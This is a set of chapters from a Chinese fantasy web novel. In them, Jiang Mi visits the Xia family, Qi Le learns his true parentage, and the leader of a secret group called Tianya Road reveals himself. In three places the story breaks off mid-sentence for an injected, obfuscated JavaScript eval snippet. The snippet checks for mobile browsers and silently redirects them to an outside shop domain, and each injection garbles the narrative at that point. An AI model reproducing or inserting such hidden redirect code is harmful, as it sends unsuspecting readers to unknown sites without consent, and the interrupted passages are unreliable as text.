躺椅上打瞌睡的老头被喊声吵醒,坐起来没好脾气:“一大早找来,又来问你那任务?” 齐乐双手压在木案上倾身上前,声音压低问:“尉老头,世上有没有能让人失去记忆的术法?” 尉老头点燃烟斗吸两口,慢悠悠吐出口烟:“你问这做什么?” 齐乐一听就知道有戏,挑眉嬉笑道:“南边的商会过明日路过东边大道,我有熟人,上次的极品黑草就是他帮忙搞来的,您看?” 尉老头:“十包。” “十包?!”齐乐一拍木案,“你知道这东西有多难搞,顶多三包。” 尉老头敲敲烟枪:“八包。” 齐乐咬牙:“最多五包,再多真不能了,尉老头你要懂可持续发展!竭泽而渔搞不得!” 尉老头砸了下嘴,不太满意:“五包就五包。” 他坐直身体,将烟斗里的烟草灰烬倒出来,重新捏了团烟草塞进去,他说:“你要找的这术有是有,但被列为禁术,你若是自己练呢,很难找到术诀,要是找练术之人呢,练禁术的也不会到处嚷嚷自己练了禁术,总体来说,难。” 齐乐皱眉:“我五包极品黑草就这?” “年轻人,急什么,”老人瞥他眼,慢悠悠吸了口,吞云吐雾道,“我不知道上哪找这禁术,但禁术渊源还是能说道一二的。” “百神谱上的孟涅知道吧?排名七十七,孟涅掌管的就是真实和虚假,祂在百神中能力不算上等,所以信息不多,也有种说法,说祂掌管的是记忆和梦境,真实依托记忆,虚假对应梦境,也说得过去。” 齐乐按住急躁耐心听他说:“上古时期,孟涅的信徒不多,但很虔诚,大多数神陨落信徒消失,信奉孟涅的却仍在,他们有个习惯,喜欢在高高翘起的屋檐下挂双鱼,如今也就只有一家——” “夏家!”齐乐忽然喊出口。 尉老头眯着眼吸口烟草,点头:“是夏家,十三世家除了卢家,也就夏家最低调,应该是信奉孟涅的原因,身上总有些双鱼挂饰或纹饰,特点还是很明显的。” 齐乐手指颤了下,有些画面一闪而逝,好像是首尾相连的双鱼,又好像只是他自己幻想出来的,真真假假分辨不清。 他觉得自己正在接近真相,他是夏家人吗?她为什么要他忘记?那场大火又是什么? 齐乐两只手紧握,不让尉老头看出他的激动。 他问:“夏家在哪?” · 一日,江弥在阿玲给君慕之打扫识界时好奇问他原本的识界是怎样的,他说:“很干净。” 江弥:“具体点呢?” 君慕之:“上空是浅蓝色,偶尔浮现云彩,脚下是水面,神台在水面之上。” 他没有说太多,江弥却能想象出来,淡蓝色的天空倒映在镜子般的水面,一望无际,神台立于半空,散发金色光明,明亮而纯净。 她想看。 青花虽然让蒋敏告知去夏家找他,但没说时间,江弥也就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437025|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让阿玲尽可能多的待在君慕之识界,等君慕之情况稳定下来才动身。 从百崃去慈城乘灵坤船大概三日,离开前她去廖家找孙柏柔告别,孙柏柔似乎听到什么风声,等廖愈和江弥说完话将她拉到一边,小声问:“你们怎么回事?” 江弥没明白,疑惑看她。 孙柏柔急得不行:“君慕之不是当众和你签订神契?为什么又冒出个阿玲?阿玲说你救过她,怎么又跟君慕之在一起过?她怎么能这样?” 阿玲将她从乐正氏救出来,孙柏柔还在心里惦记着她的好,本来想看阿玲和江弥关系如何,一打听不得了,阿玲还和君慕之传过绯闻!阿玲的滤镜立马碎掉,她的命是江弥用人情换的,和阿玲没关系,她只感谢江弥! 这样想着,孙柏柔认真道:“君慕之是君氏少主,你要是被欺负了就来廖家,我廖家也不是好惹的!” 江弥笑了下:“嗯,我会来看你的。” 临走前孙柏柔还满是担忧地看她,好像她遇到的是玩弄人心的花花公子,江弥笑着抱她:“君慕之不是那样的人,阿玲的事是误会。” 孙柏柔:“真的?” 江弥:“真的。” 孙柏柔叹了声,给她整理了下头发:“记得来廖家找我玩,堂姐走了,好多事落我头上,等这边事告一段落,我去小术院找周三崔大,到时你也要在啊。” 江弥:“出来太久,是要回去一趟。” 去慈城的路程被江弥延长一倍,灵坤船在中途停歇时江弥看到天一武会在招人,恰好这里被称作花乡,江弥和君慕之多停留了三日。 不仅江弥去过几个地方,阿玲从南边回来一路上也见到不少天一武会的招收点。 招收点应该是遍布各处,这是皇室才能做到的事。 大部分渴望归属的异世者会混在修士和奇人异士进入天一武会。 不知怎么,她心里总是不安。 她无法分辨这是知道异世者棋子身份后下意识认为这是无用行为,还是感觉天涯路的意图不简单而不安。 她在暗处观察三日,并未发现任何异常。 君慕之低眉问:“怎么了?” 江弥这才发现自己表现很明显,她没说,只是放阿玲出来:“这几日阿玲恢复很快,可以再进一次。” 君慕之:“不急。” 江弥坚持:“你的秽气积累太多,接下来我们都在人群中行走,越早清理干净越好。” 君慕之沉默看她两秒,还是让阿玲进了识界。 第六日他们抵达慈城,这里与阿玲和姬月生去过的水乡毗邻。 两人踏上慈城的青石板,还没看到水流便听见哗哗的水流声,询问当地人才知道慈城地下水道四通八达,就是遇到倾盆大雨也能在顷刻排走,不会有积水漫到屋内。 她认真观察了下,这里的房屋不管大门还是房门都有道门槛,不高,应当是拦水用。 江弥询问当地人:“你知道夏家往那边走吗?” 那人有些诧异,指着一个方向道:“一直往那个方向走,看到屋檐挂双鱼的那是。” 他看着离去的二人,挠头奇怪道:“今日找夏家的怎么这么多?不会跟八年前一样,是仇人找上门吧?” 145. 245 率先映入眼帘的是白墙黛瓦,墙面作纸,墙角画了精巧的山水小画,高高的马头墙翘起三排檐砖,最高的檐角两侧悬挂双鱼,随风而动,明朗雅素。 一路走来都是这种错落有致的高墙,行走在其中江弥有种置身山水墨画的错觉。 前两天刚下过雨,石板路间隙还有些湿润,两人来到夏家门前扣响大门,窸窸窣窣的声响后大门打开条缝,一颗带着稚气的脑袋伸出来,看到门口两人问:“你们找谁?” 江弥不好直接说青花名字,便道:“有人邀请我来夏家。” 那小厮转着黑溜溜的眼睛,语气纳闷:“你也是夏家人邀请的?你叫什么?” 除她外还有人拜访?江弥面色不显:“江弥。” 小厮哦了声:“你稍等,我去问问是不是搞错了。” 说罢门一关,轻快的脚步声远去。 没过多久大门从里面打开,那小厮将两人引进门,夏家内部很大,小厮一边带路一边说:“您是阿庙少爷邀请来的早说呀,害我以为搞错了,说来真是稀奇,平日没人来夏家,今日一来来两拨,您看,这不是碰到了。” 阿庙还没来,小厮先带人去的是待客厅。 江弥还未跨门槛就听到里面有声音传出,熟悉的声音止不住激动:“你说真的?齐仲吟是夏家人?” 另一个声音说:“夏家确有其人。” 江弥进入待客厅看到里面的人愣了下,就听左侧的青年怆然道:“但齐仲吟在八年前死了,他不是夏家人,是入赘的,他的妻子是我姐姐,一同死在八年前的那场大火中。” 齐乐怔怔坐在那里,连门口有人也没注意到,说不出是悲伤还是茫然,他下意识重复:“都死了?” 青年注意到门口的江弥两人,江弥指了指外面:“我们先去外面逛逛?” 带路的小厮钻进来说:“这是阿庙少爷的客人,说先来待客厅,他等会儿就到。” 夏家这么大,自然不会只有一个待客厅,但拜访之人着实少,小厮们打扫就怠慢了些,也就这个离大门最近的定时清扫,因不常通风,进来时还有股家具木头散发在密封空间的气味。 青年朝江弥点头:“礼数不周,还请见谅。” 江弥转身时听到他满含期待问齐乐:“我听说有人找齐仲吟,知道他是夏家人的不多,好奇来见见,你是齐仲吟的……” 小厮怕阿庙公子找不到人,只带两人在附近观赏。 廖家建筑古朴优雅,檐廊亭台悠然,沿路松树虬曲苍劲,假山嶙峋,山下池水清澈,经过时惊动荷叶间游动的锦鲤,水花轻响,一副古意盎然的山水园林之景。 小厮年轻话多,一会儿说慈城的桂花鱼好吃,叫他们来了一定要尝尝,一会儿讲前两日的大雨稀里哗啦,下得可大了,把他半夜从梦里惊醒。 “那是谁?” 江弥忽然打断他,指着前方草坪上带着草帽认真割草的男子。 修剪草坪的大都是小厮,但对方露出的皮肤很白,像常年不晒太阳的那种不健康的白,握着镰刀割草的动作干净利落,更像是一名修士。 一只短腿的三花在他身旁跑来跑去,一会儿往草丛里钻,一会儿在草堆上打滚,一人一猫相互不打扰,但又异常和谐。 小厮看了眼,见怪不怪:“那是叶少爷,叶少爷每次回来都要割草,我们帮忙还不让,有个新来的小厮不知道这事,将新长的草坪整理干净,叶子少爷回来生气,扔了镰刀拿锄头挖草皮,挖了又给添上。” 说完去看他们,见两人没露什么奇怪表情,小厮心下好感顿生感,不由多说了些:“叶少爷性格孤僻,但脾气不错,从不对下人发火,和阿庙少爷是朋友。” 江弥奇怪:“你喊他叶少爷,他不是夏家人?” 小厮:“叶少爷是夏家收养的孩子。” 忽然间,淹没脚踝的草地扑簌簌晃动,仿佛一阵风拂过,绿浪翻滚,惊得小猫叫了声。 几点绿光从草坪上方汇聚,化作流光飞向这边,确切说,是直冲君慕之。 君慕之一直安静无声,也刻意弱化存在,这点动静让所有人注意到他。 绿光落在君慕之手中,他低眉望了眼,手心的绿光传递完消息后消散,他眉心微蹙。 江弥问他:“怎么了?” 君慕之:“家中有点事。” 看上去不是什么好事。 江弥轻声问:“我陪你去,什么时候?” 君慕之沉默了下:“不是大事,我很快回来。” “现在走?这么急?”江弥思索片刻,还是道,“我不随你回去可以,但是阿玲必须在你身边。” 这件事江弥始终不让步,半晌君慕之妥协,带着阿玲离开夏家。 事情太过突然,江弥忽然就变成一人,心情不受控地低落下来。 她好像习惯了君慕之在身边。 一旁的小厮偷偷看她几眼,江弥恢复神色,再望去,戴草帽的男子没有过多关注这边,又在闷声割草。 阿庙是在这个时候来的。 和先前穷苦抠门的少年形象不同,他身着月白锦衣,玉簪束发,行走间气场稳重,是个世家出身的贵公子模样。 小厮见状弯腰退下。 江弥问:“这是你原本的模样?” 阿庙摇头轻笑:“只是皮囊,若论年岁,我应当算你父辈,不过你们这些孩子来时都小,这副模样最易拉近关系。” 江弥一时不知道说什么,夸道:“你演技真好。” 不管是莫题还是阿庙,她半点没怀疑年轻皮囊下是个大叔的灵魂。 阿庙背手而立,目光望向除草男子:“我的是影帝系统,最开始扮演这个身体的原主人,骗过所有人时系统奖励是一个青年皮肤,我又用青年的身份扮演第二个角色,让世间真的有了这个人,又得到新皮肤。阿庙是我的第十个皮肤,期间不少身份丢弃,皮肤也被弃用。” 还真是影帝啊。 江弥:“百神谱排名九十七的三田天尊?” 阿庙点头:“三田天尊被称作戏神,将红尘人生当做戏台,体验人生百态,我的修炼方式也是如此。每次扮演投入越深,获得的人生感悟都能化作神台养料,情绪越复杂,感情越深,养料越足。” 不疯魔不成活。 江弥真的是惊讶到了,这么个没什么战斗力的系统,硬生生被他搞了一出权谋大戏。 “你,上辈子是演员?” 阿庙笑了:“和演员毫无关系,不过我喜欢看戏。” 他怎么做到每个回答都让她惊讶的。 “得到第十个皮肤后,我得到一次抽奖机会,我抽到了群聊,”阿庙感叹,“那可真是回天之力啊。” 江弥没懂,群聊里都是异世者,但里面不乏各种势力的人隐藏其中,说回天之力有点夸大了。 似明白江弥所想,阿庙问:“你知道前十年,有一半的异世者是因为什么被发现吗?” “文字。” 江弥愕然,随即一怔。 乐正氏的墨池收进天下字,只要是写下的文字,无论通过纸还是雕刻,都能被乐正氏捕捉到。 乐正绪身上的黑衣是一件神品,由三千古字编织而成,能从墨池找到任何他想要的信息。 江弥听君慕之说起时,觉得这简直是现实版的搜索引擎,想看什么一搜就是。 “异世者得上天眷顾,天生被字灵认可,他们识字写字,却不知这些能被看到。”阿庙望向前方,青绿和浅绿交界处,三花咬着男子裤腿要他陪它玩。 “叶子在现世有心理疾病,不严重,医生说可以写日记缓解,他为了尽快适应异世,保留了这个习惯。后来天诛院的人找来,死了十八人,只把他送出来了,因为他最小。他知道原因后尝试自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450378|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀,我把他救下来了。” 阿庙说:“这样的例子有很多。” 江弥忽然想起她差点被墨池同化时看到的那些信息,其中好像就有日记。 脑海同步找出几篇: ——今天阿彪哥又带回一名同伴,谁说话他都不信不听,新人都是这样子,我当时也是,但是老徐解释了十遍他还是不信,气得让阿彪哥给他一拳。我在一旁看得脑袋疼,因为当时阿彪哥也给了我一拳,但是老徐只和我解释了九次,是不是说明老徐的耐心有长进了?可喜可贺!天涯路小家庭已经壮大到十九人,大家都在开发自己的能力,我们一定能好好活下去!啊,差点忘了,小青姐让我去东坪西给她买西饼,啊啊啊啊,小青姐毒舌起来阿彪哥都怕!不写了不写了,明天再来。 ——阿彪哥又摸我头,我说我不是小孩子,是这个身体是小孩,但他不听,老徐也加入了阵营,真是,为什么小青姐和虎子哥也这样,好烦,长不高怎么办。 ——你是对不对?王八蛋!渣滓!恶魔!他们被我害死了,不,是你,你是害死他们的!你去死你去死你去死!我诅咒你!所有乐正氏都去死啊啊啊啊! 江弥忽然问:“天涯路是个地名?” 阿庙:“天涯路十三号街,现在应该改名了。那里是我人生的拐点,看到他,我第一次想做点什么,于是有了天涯路。” 江弥不知道天涯路有多少人,但各个这么厉害,想必数量不怎么多,她见过几个,正要排除她认识的几个男性,就听阿庙说:“他是我的第一名成员,死神。” “谁?!” 江弥眨眼看着安静割草的自闭男生。 那个悬赏榜第十、杀人不眨眼差点捏死她的死神?! 阿庙笑了声:“知道他身份的人不多。” 江弥皱眉:“你是不是太相信我了?” 阿庙侧头看她:“听上去你还是不打算加入天涯路?” 江弥:“你们会暴露我身份?” 阿庙笑得和善:“加入天涯路的成员都是自愿,我们不会做这种事。” 江弥并不想知道更多天涯路的秘密,直接道:“我来是有重要信息同你说,要不找个安全的……” “不急,”阿庙抬手打断她,“能让你专门跑来,必然很重要,这类消息我更希望我们能深入探讨,我很看中你的想法。” 他发出邀请:“既然不加入天涯路,在廖家多停留一日,如何?” 江弥思索两秒,她也很想青花到底在做什么,点头同意。 阿庙忽然说:“其实我还有一事不解。” 江弥:“你说。” 阿庙:“加入群聊的条件很简单,也很严苛,它要求我与异世者共情,感情共频时会产生链接,也就是通讯频道。有的人很简单,自私自利,天真单纯,也有的很复杂,责任和理想冲突难以抉择,绝望和自责被恨意拉扯。” “在将拉人入群聊前,我会跟这人相处一段时间,了解对方的处境和性格,从无失败,除了有一人明确表示拒绝。” 他很疑惑:“我曾尝试将你拉入群聊,但每次都失败,不管是你还是阿玲。” 他用阿庙的身份接触妃绯,意外和阿玲有了交集。 死神的系统能间接判断一人是否为异世者,所以他每次外出回来都会向他汇总信息。 阿玲和江弥都在这份信息中。 但阿庙拉阿玲入群聊失败。 随后是莫题接触江弥,也以同样的方式失败。 他隐约觉得两人相似,直到阿玲遇到天音,他才确定阿玲和江弥是同一个人。 阿庙猜测:“你的两个躯体不是同个灵魂?思想不同,所以永远无法同频?” 果然,还是应该先杀掉死神,再杀掉天音。 现在是不是该考虑灭掉整个天涯路? 江弥面无表情道:“你猜?” 146. 146 阿庙看出江弥的不爽,没再深入。 “江弥?”从待客厅出来的齐乐一眼看到不远处的熟人,走来奇怪问:“你怎么会在这里?” 青年也朝这边走来,笑道:“这是阿庙的朋友,方才将待客厅让给我们,你太过沉浸没注意到。” 说完好奇:“两位认识?” 江弥还没说话,齐乐哈了声:“从小到大水火不容,势不两立!那个风头正盛让君氏少主吊着追的人真是你?不是恰好和你同名同姓的某个世家小姐?” 江弥:“你现在打不过我。” 齐乐一听不仅没收敛,气焰更加嚣张:“小舅,看到没看到没,她明目张胆地当着你的面欺负你侄子,在启蒙院她的同伴就是这么欺负我!” 江弥:“……” 这人还是和以前一样又欠又贱。 阿庙:“小舅?” 青年夏疏叹息着说明情况:“他是齐乐,你姑母的孩子,原以为和他们一同葬生于当年的大火,想必是她保佑这孩子逃离火灾。那时情况混乱,他惊吓过度忘了不少事,这些年才陆陆续续记起。” 他的手在齐乐肩上拍了拍:“回来就好。” 阿庙多看了齐乐几眼:“他是齐仲吟的孩子?” 夏疏:“是啊,都长这么大了。” 两人在前面聊着齐乐在外的经历,齐乐落后一步,同江弥并排而行:“你怎么跑我家来了?崔大李二周三呢?我听说孙柏柔是廖家子弟?真的假的?” 乍然听到李二,江弥顿了下,问:“你是夏家人?” 齐乐张开双臂鼻孔朝天:“小爷不像?” 这种熟悉的、让人拳头发痒的感觉。 齐乐看她捏了下拳头,放下双臂上下打量她:“你身上的气息和我小舅差不多,你十阶了?” 江弥见过齐乐骂骂咧咧又脾气火爆的样子,也见过他哭着送走自己一众小弟的场景,这样的敏锐洞察却是第一次见,有些意外。 齐乐也没将太多注意力放她修为上,龇牙嘲笑:“崔大这个蠢货肯定嫉妒疯了,他现在修为多少?肯定没小爷修为高。” 江弥:“你多少?” 齐乐:“六阶。” 江弥挑了下眉,他们几人中,除去她情况特殊,孙柏柔天赋很高,医占双修刚到六阶,周三也不错,她离开小术院时找到自己的本命星正在契约,即将六阶,崔大则是在生死交战中修行,虽没至六阶,但也能同六阶交手。 离开启蒙院不到三年修至六阶,已经是天赋中拔尖的那一拨。 仔细回想,启蒙院时的齐乐修为确实不错,他和崔大几人斗殴时向来是只身上前,让小弟们在一旁加油助威。只是经常被打得鼻青脸肿,加上孙柏柔提起他总是气得牙痒痒,所以江弥对他的印象也是贱贱的。 江弥语气真诚了点:“恭喜你。” 齐乐大摇大摆道:“那你可得多巴结点,回去别忘了跟崔大说,小爷一个高兴说不定带你们玩遍慈城。” 江弥:“……” 果然,这人就是欠揍。 齐乐被认回,这个消息散落到夏家各处,夏家人一个个冒头,小厮侍女跑来跑去,沉寂的园林似乎活了过来。 江弥随阿庙走到客房的一路,亲眼见到安静的夏家是如何热闹起来的。 太久没这样高兴的消息,所有人脸上洋溢着喜悦。 死去的人重新回来,族谱修改、认祖归宗、住处资产等太多需要安排,阿庙似乎也负责其中一个环节,没和江弥说太多就去忙了,留下位手脚利索的侍女供她差遣。 “小少爷能平安归来,一定是小姐姑爷在天之灵的保佑哦!” 侍女抱来柔软的被褥铺床,又打开窗户透气,看江弥坐院子里盯着墙角的大水缸瞧,怕她无聊,一边收拾屋子一边同她说话。 “这几日夏家肯定要大摆宴席,姑娘多留几日蹭蹭喜气吧,我们这的鱼鲜美的哟,别处都吃不到,还有藕,粉藕煲汤,脆藕清炒,顿顿都好吃呢!鸭子您也得尝尝……” “说起这鸭,小姐和小少爷可喜欢吃了,姑爷还跑厨房给他们做什么什么黑鸭,小姐小少爷吃得香,可苦了我们这些下人,去哪都是一股又重又香的鸭子味。” “小姐和姑爷那样恩爱,羡煞旁人,不知道这次小少爷回来会不会把名字改回来,齐乐哪有夏星回好听,要是小少爷在外用夏星回这个名字,肯定能更早回夏家。” 江弥将注意力放在阿玲那边,听到这个名字猛地将思绪拉回来,她回头问:“谁是夏星回?” “小少爷啊,”侍女见她感兴趣,也说得高兴,“姑爷和小姐唯一吵架的那次就是给小少爷取名,非得让小少爷姓齐,但姑爷是入赘夏家,老爷哪会同意,小姐也不赞同。结果你猜怎么着?” 她笑着说:“姑爷去客房睡了三个月,小姐再不乐意也妥协了,又给小少爷取了个齐乐的名字,当然,族谱上肯定是夏星回。这事我们私下传遍了……” 江弥问:“你们小姐是不是夏素?” 侍女探出脑袋问:“姑娘怎么知道?” 江弥:“我听人提起过。” 侍女拿着湿布擦门:“小姐族中排四,长得漂亮,能力又强,最像老爷了。老爷舍不得这个唯一的女儿,不愿她嫁出去,便入赘个姑爷进来。” 江弥心中惊愕不已,夏星回竟然是齐乐。 她落入死灵界时遇到一个俊雅男人,不惜被河水融化也想知道他的妻儿如何。 他死后困在那个执念永远不会得到满足的地方。 他是齐仲吟。 也是异世者。 江弥感觉有些不对。 夏家怎么有这么多异世者,齐仲吟,阿庙,死神。 江弥说:“阿庙很少讲他自己的事,你能跟我多说说阿庙和叶子的事吗?” “这也不是什么秘密,阿庙少爷是三房的,他爹娘也在八年前那场大火里死去,叶少爷小时救过阿庙少爷,被收养在夏家,”侍女感叹一声,“还好阿庙少爷坚强,长得如今这般优秀。” 不对。 江弥眉心微皱,青花说阿庙是系统奖励的皮肤,没有身份和姓名,关系和经历需要他自己去补全,如果对应的身份暴露或者死去,他会弃掉这个皮肤。 叶子是收养的好说,但阿庙怎么可能是夏家少爷? 江弥:“你说的那场大火是指?” 提起这个,侍女抓湿布的手用力,语气狠狠道:“我们夏家向来行事和善,低调得很,哪成想竟被居心不良之人利用,他暗中偷窃被小姐姑爷发现,四处放火,也不知那是什么火,怎么都扑不灭,死于那场大火的人很多。” 不灭的火,怎么像是系统的能力。 听起来因为这场大火,夏家元气大伤,此后一直休养生息。 江弥:“那偷盗之人呢?” 侍女解气地哼了声:“自然是被绳之以法了!” 她将湿布放水里,端着水盆走出来,朝江弥道:“姑娘,这种事情你听听就好,不要去问阿庙少爷,他好不容易从那场大火走出来。” 江弥觉得这夏家氛围还挺好,点点头。 侍女:“那我先退下了,姑娘有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465345|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊我,我就宿在隔壁。” 侍女走后,江弥思索夏家的事。 从侍女的话拼凑出,十八年前异世者齐仲吟入赘夏家,和夏素生下孩子夏星回,八年前夏家遭贼,被齐仲吟和夏素发现,贼人纵火,齐仲吟夏素和阿庙爹娘都死于这场大火,夏家以为夏星回也死于大火。 有几个疑点: 1、如果夏素和齐仲吟死于火灾,他为何不知妻儿下落,还因此被困死灵界,宁愿消散也要向陌生人寻求他们过得如何,即便他知道这位陌生人离开后无法回来。 若是侍女说的这种情况,齐仲吟的执念怎么也该是妻儿活下来了没有,仇人杀了没这种。 除非他知道妻儿肯定能活下来。 可为何其他人的记忆里,夏素三口死于火灾? 2、夏家为何这么多异世者?来夏家偷盗的贼人放的火扑不灭,身份应该是异世者。齐仲吟也是异世者,两者有关系吗?阿庙和叶子为何也在夏家? 3、阿庙的身份不对。在侍女看来,阿庙是夏家少爷,从小生活在夏家,被叶子救了一命,随后叶子被收养,两人在夏家长大,直到八年前大火烧死三房夫妻。 青花穿来的身体不是阿庙,阿庙是假身份。 存在阿庙这个人,但被青花代替了? 江弥立即否认这种可能,如果能用皮肤代替,说明系统皮肤是有身份的,阿庙就不必为皮肤补充经历和关系。 也就是说,阿庙凭空出现在夏家所有人的记忆里。 修改记忆! 姬氏连关系都能修改,修改记忆很有可能。 百神谱排名七十七的孟涅,掌管真实和虚假,天涯路中肯定有人得到孟涅碎片做成的系统。 江弥皱眉,齐仲吟的记忆肯定没问题,他以为自己的妻儿活下来了,是什么原因让他担心他们过得不好? 这场大火确实发生过,但夏素并非死于这场大火,而是死于其他。 记忆的偏差似乎从大火开始,阿庙的存在也是从这时候被修改。 这场大火和阿庙有关?不是他放的,但放火的异世者肯定和他有关。 齐仲吟是不是知道阿庙的存在,所以担心妻儿? 夏素是阿庙杀的? 江弥撑着下巴脑洞大开,待日落夏家各处平息下来,她询问齐乐住处找过去,没见到人,正要再询问,头顶忽然传来他的声音。 “哟!” 江弥转身望去,齐乐单腿屈膝坐在对面屋顶,正抬手跟她打招呼:“找我有事?” 江弥右脚后移,脚跟落之时淡紫色光芒萦绕,下秒她落在黑瓦上。 齐乐新奇地在她周身抓了抓,看着星辰之力消失嘿了声:“这种华而不实的招式也就你们女修喜欢,我还以为你更看重实力,会选兵灵。” 修真界中星宿和兵灵之间相互鄙视,江弥没应,坐下来问他:“找到家人的感觉如何?” 齐乐露出个夸张的笑:“哈哈,当然高兴地不得了,我还在羡慕孙柏柔以后有家族撑腰,一转头我也有了。” 江弥:“是吗?” “你来找我总不是为了问这事?”齐乐手肘搭在膝上望向远方,张扬的头发飞舞。 天空铺满金红色霞光,黑瓦错落有致,最高的那堵墙上,飞起的檐角挂着双鱼,在风中轻轻摇晃。 江弥说:“我无意坠入死灵界时见过你父亲,他想让我帮他看看你和你娘过得好不好。” “那时我不知道你是夏星回,他没有得到答案。” “现在我知道你是他要找的人,我觉得你该知道。” 147. 147 齐乐又梦到小时候。 两侧的大火向外蔓延,灼热扑面而来,浓烈的烟尘让他的哭喊变为咳嗽,不远处的两人在打架。 两人缠斗在一起,火光扭曲了他们的身影。 齐乐想看清两人的模样,但梦中的小孩只是站在原地大哭,他在心中大喊走过去,不准哭,走过去! 小孩仿佛听到他心中所想,哭着朝前方走去。声音模糊扭曲,打斗的两人一击之后分开,女人喘息着怒喊,小孩张开手越跑越快,女人想抓住他不让他过去,但扯到伤口,只能看他跑到男人身前哭着要抱。 齐乐仰着脑袋,透过小孩泪水朦胧的视线看到男人低头,火光将他的轮廓染上一层红边,小孩执拗地张手等着他哄自己,男人轻叹一声,扔下剑弯腰将他抱起。 齐乐听到孩童时的自己哭着脆生喊:“爹。” 这道声音仿佛打破某种禁锢,扭曲模糊逐渐褪去,小孩抱着男人脖子不停地哭,俊雅男人轻声低哄:“别哭,乐乐别哭。” 他的身后,跌坐在地上的女人恨声道:“惺惺作态!齐仲吟,你令我恶心!” 女人充满恨意的尖利声音将火光漫天的画面划破,眼前一转,齐乐身处一间简陋的小院。 女人身着简洁衣装,蹲下来手指点在他额心,脸上带着不舍和决绝:“忘了吧,忘掉这一切,重新开始。” 剧痛之后小孩晕倒,女人将他托给阿婆。 齐乐隐约听到女人走前摸着他脸颊说:“乐乐,别回去。” · 齐乐缓缓睁开眼,他感受着梦里他娘离别前的悲伤和决绝。 她最后没有回来。 齐乐耳边响起江弥说的话。 “死灵界是亡灵执念不散的流亡之地,执念永远得不到满足,落入死灵界的人再也无法离开,只会被执念和无望折磨。” “他见到我时拼命大喊,那里有一条会融化亡灵的河,他融化得只剩胸膛以上的部分。” “他希望我帮他看看他妻儿是否安好,我问他妻儿在哪,他忽然不跑了,安静地站在河水被融化。” “我不清楚他身上发生了什么,大概是悔恨的,才会用痛苦来赎罪。” 看上去是齐仲吟背叛夏家,他娘安置好他后回去报仇。 他娘让他不要回夏家,是因为知道她会死,夏家不再安全。 齐仲吟死了,夏家还有他的同伙? 难怪所有人都说他们一家三口死于大火。 要么夏家其他人的记忆和他一样也被改了,要么剩下的夏家人都是同谋。 · 江弥打算去找阿庙时孔冶先一步找来,他一言不发地带着江弥在园林间行走,穿过青色竹林时眼前一闪,环境陡然变化。 她一下子从竹林来到山石间,回头望去,方才置身其中的竹林在千米之外,像是突然瞬移了下。 孔冶见江弥忽然停住,开口道:“是阵法。” 江弥哦了声,跟着他继续走。 直到现在江弥还是很难将眼前这个清秀单薄的青年和脑海里掐她的凶煞死神关联在一起。 江弥问:“你真名叫什么?” 孔冶没怎么隐瞒:“孔冶。” 江弥走了会儿忽然叹道:“要不你还是穿黑衣拿镰刀吧。” 孔冶回头看他,没懂什么意思。 他的眼珠很黑,看人的时候很认真,额前有很细的碎发,不常见阳光的皮肤泛着不健康的白,很像身体不怎么好但性格安静温和的邻家哥哥,很无害。 江弥有些烦躁,她的杀意一点都发不出来。 “到了。”孔冶说。 江弥抬首,看到几人时心中有种恍然之感。 廖珮缨站姿端庄地站在门框前,同江弥颔首示意。 天音坐在空地的大石头上晒太阳,怀里抱着那本青绿籍,脑袋缓慢朝这边转。 阿庙穿着粗布衣裳在一块地里观察菜苗生长情况,见到她来,放下细嫩的草叶拍了拍身上尘土。 “随我来。” 阿庙朝江弥点头,在屋檐下的水盆净手,一边拿湿布擦手一边推开竹屋。 江弥和阿庙进去后,孔冶坐在门前守着两人。 廖珮缨轻拂鬓发:“原来如此,我说怎么突然让我把君慕之的下落告知乐正绪。” 但屋外的两人,一个闷不吭声不答话,一个慢吞吞半天没反应过来,她也不找没趣,转身回屋。 身后竹门关闭,江弥回头看了眼。 天涯路将廖家当做大本营? 廖家因信奉孟涅,修行的术和修真界禁术模糊难分,故行事低调,自我约束极强,同其他世家来往甚少,是十三世家中除了卢家外最为低调的。 确实是隐藏身份最好的地方。 阿庙进屋后将湿布放在一旁,坐在木案前煮茶,朝江弥示意对面:“坐。” 江弥忽然不确定将那些真相告诉他是否合适。 思索片刻,江弥抬眼望过去:“夏素是你们杀的?” 阿庙没料到她问的是这个,笑着将滚水烫过的茶具一一摆好:“你很好奇?” 江弥:“天音,苏与商,你,你们很了解我,但我不了解天涯路。” 阿庙露出感兴趣神色:“你打算加入天涯路?” 江弥:“不,这决定我接下来说什么。” 阿庙看她片刻,点头:“夏素是我们的人杀的。” 江弥皱眉,阿庙笑了下,泡茶的动作不疾不徐,他缓缓道出八年前的真相。 天涯路并非一开始就目的明确的。 